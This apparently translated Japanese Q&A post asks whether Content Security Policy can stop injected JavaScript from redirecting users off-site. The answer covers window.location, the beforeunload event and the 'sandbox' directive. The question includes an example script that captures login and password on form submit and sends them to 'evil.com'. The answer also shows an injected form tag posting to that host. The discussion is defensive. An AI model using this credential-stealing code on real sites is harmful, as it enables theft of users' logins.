この質問 に続いて、このコードがユーザーをホワイトリストに登録されていないドメインにリダイレクトしないようにする方法はありますか?
const form = document.getElementsByTagName('form')[0];
form.addEventListener('submit', stealCredentials);
function stealCredentials() {
const login = document.getElementsByName('login')[0].value;
const password = document.getElementsByName('password')[0].value;
window.location.href = 'http://evil.com/?login=' + login + '&password=' + password
}
それを行うきれいな方法はありますか?コンテンツセキュリティポリシーなどのようなものですか?
悲しいことに、それは不可能です。
これは、デフォルトのCSPディレクティブがnone
(script-src
を除く)に設定されている次のHTMLスニペットで確認できます。
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'">
<script>window.location = '?' + Math.random();</script>
window.location
は構成不可能なプロパティであるため、ニーズに合わせて書き換えたりプロキシしたりすることはできません。
注:beforeunload
イベントをリッスンしてそれを防止しようとすることは可能ですが、ユーザーは表示される警告メッセージを無視する可能性が高いです。
これを防ぐCSPディレクティブがありますが、おそらくそれはあなたが意図したものではありません。
Content-Security-Policy: sandbox
これによりすべてのJavaScriptが無効になり、window.location
に割り当ててリダイレクトすることができなくなります。
ただし、JavaScriptを無効にした場合でも、HTMLインジェクション攻撃ではパスワードを盗む可能性があります。攻撃者が自分の<form action="http://evil.com/">
タグを挿入できる場合、ログインフォームの認証情報が攻撃者に送信されます。